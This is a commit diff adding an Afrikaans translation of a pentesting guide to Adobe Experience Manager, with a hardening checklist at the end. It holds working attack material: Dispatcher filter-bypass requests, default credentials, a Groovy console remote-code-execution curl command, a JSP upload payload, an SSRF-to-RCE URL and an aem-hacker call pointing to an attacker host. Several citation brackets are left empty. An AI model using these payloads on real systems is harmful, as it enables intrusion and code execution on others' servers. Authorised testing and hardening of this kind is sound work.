Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex

This commit is contained in:
Translator 2025-07-30 12:13:33 +00:00
parent 7f360401bd
commit 51c2959dbd

View File

@ -1,5 +1,117 @@
{{#include ../../banners/hacktricks-training.md}} # AEM (Adobe Experience Manager) Pentesting
Vind kwesbaarhede en verkeerde konfigurasies met [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop.
> Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard geloofsbriewe en 'n lang ster van CVE's bloot wat elke kwartaal reggestel word.
Die kontrolelys hieronder fokus op **extern bereikbare (unauth) aanval oppervlak** wat voortdurend in werklike betrokkenhede verskyn (2022-2025).
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
Ander vinnige aanwysers:
* `/etc.clientlibs/` statiese pad teenwoordig (gee JS/CSS terug).
* `/libs/granite/core/content/login.html` aanmeldblad met die “Adobe Experience Manager” banier.
* `</script><!--/* CQ */-->` kommentaar aan die onderkant van HTML.
---
## 2. Hoëwaarde nie-geoutentiseerde eindpunte
Pad | Wat jy kry | Aantekeninge
---- | ------------- | -----
`/.json`, `/.1.json` | JCR knope via **DefaultGetServlet** | Dikwels geblokkeer, maar *Dispatcher omseiling* (sien hieronder) werk.
`/bin/querybuilder.json?path=/` | QueryBuilder API | Lek van bladboom, interne pades, gebruikersname.
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsole | 403 per standaard; as blootgestel & akrediteer gevind ⇒ bundel-oplaai RCE.
`/crx/packmgr/index.jsp` | Pakketbestuurder | Laat geoutentiseerde inhoudspakkette toe → JSP payload oplaai.
`/etc/groovyconsole/**` | AEM Groovy Konsole | As blootgestel → arbitrêre Groovy / Java uitvoering.
`/libs/cq/AuditlogSearchServlet.json` | Oudit logs | Inligtingsontsluiting.
`/libs/cq/ui/content/dumplibs.html` | ClientLibs storting | XSS vektor.
### Dispatcher omseiling truuk
Meeste produksie webwerwe sit agter die *Dispatcher* (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding **na 'n puntkomma of geënkodeerde nuwe lyn** by te voeg:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
'n Enkele versoek soos hierbo openbaar gereeld gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】
---
## 3. Algemene miskonfigurasies (nog steeds lewendig in 2025)
1. **Anonieme POST servlet** `POST /.json` met `:operation=import` laat jou toe om nuwe JCR knope te plant. Om `*.json` POST in die Dispatcher te blokkeer, los dit op. 【】
2. **Wêreldleesbare gebruikersprofiele** standaard ACL verleen `jcr:read` op `/home/users/**/profile/*` aan almal.
3. **Standaard akrediteer** `admin:admin`, `author:author`, `replication:replication`.
4. **WCMDebugFilter** geaktiveer ⇒ weerspieëlde XSS via `?debug=layout` (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies).
5. **Groovy Console blootgestel** afstandkode-uitvoering deur 'n Groovy-skrip te stuur:
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. Onlangse kwesbaarhede (dienspakket ritme)
Kwartaal | CVE | Aangetaste | Impak
------- | --- | -------- | ------
Des 2024 | **CVE-2024-43711** | 6.5.21 en vroeër | Onbehoorlike invoervalidasie → **Arbitraire kode-uitvoering** (vereis lae-priv akte). 【】
Des 2024 | CVE-2024-43724/26 | 6.5.21 en vroeër | DOM / Gestoor XSS in Move Page Wizard. 【】
Des 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-gebaseerde XSS via vervaardigde URL. 【】
Des 2022 | CVE-2022-30683 | ≤ 6.5.13 | Krypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】
Kontroleer altyd die *APSB* bulletin wat ooreenstem met die kliënt se dienspakket en vra die nuutste **6.5.22** of *Cloud Service 2024.11*.
---
## 5. Exploitasiestukke
### 5.1 RCE via dispatcher omseiling + JSP opgelaai
As anonieme skryf moontlik is:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
Now request `/content/evil.jsp` die JSP loop met die AEM proses gebruiker.
### 5.2 SSRF na RCE (histories < 6.3)
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
`aem_ssrf2rce.py` van **aem-hacker** outomatiseer die volle ketting. 【】
---
## 6. Gereedskap
* **aem-hacker** Swiss-army enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer.
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Inhoud Brute-force** herhalend versoek `/_jcr_content.(json|html)` om versteekte komponente te ontdek.
* **osgi-infect** laai kwaadwillige OSGi bundel op via `/system/console/bundles` as kredens beskikbaar is.
---
## 7. Versterking kontrolelys (vir jou verslag se aanbevelings)
1. Hou die instansie op die **nuutste kumulatiewe dienspakket** (soos van Jul 2025: 6.5.22).
2. Verwyder/roteer standaard rekeninge; afdwing SSO/SAML.
3. Versterk **Dispatcher filters** weier `;`, geënkodeerde nuwe reëls, en `*.json` of `*.querybuilder.json` vir anonieme gebruikers.
4. Deaktiveer of beskerm consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) met IP toelaat-lists.
5. Pas die *Anonieme Toestemming Versterking* pakket toe wat deur Adobe gestuur is.
## Verwysings
* Adobe Security Bulletin APSB24-69 “Veiligheidsopdaterings vir Adobe Experience Manager (Des 2024)”.
* 0ang3el aem-hacker hulpmiddel (GitHub).
{{#include ../../banners/hacktricks-training.md}}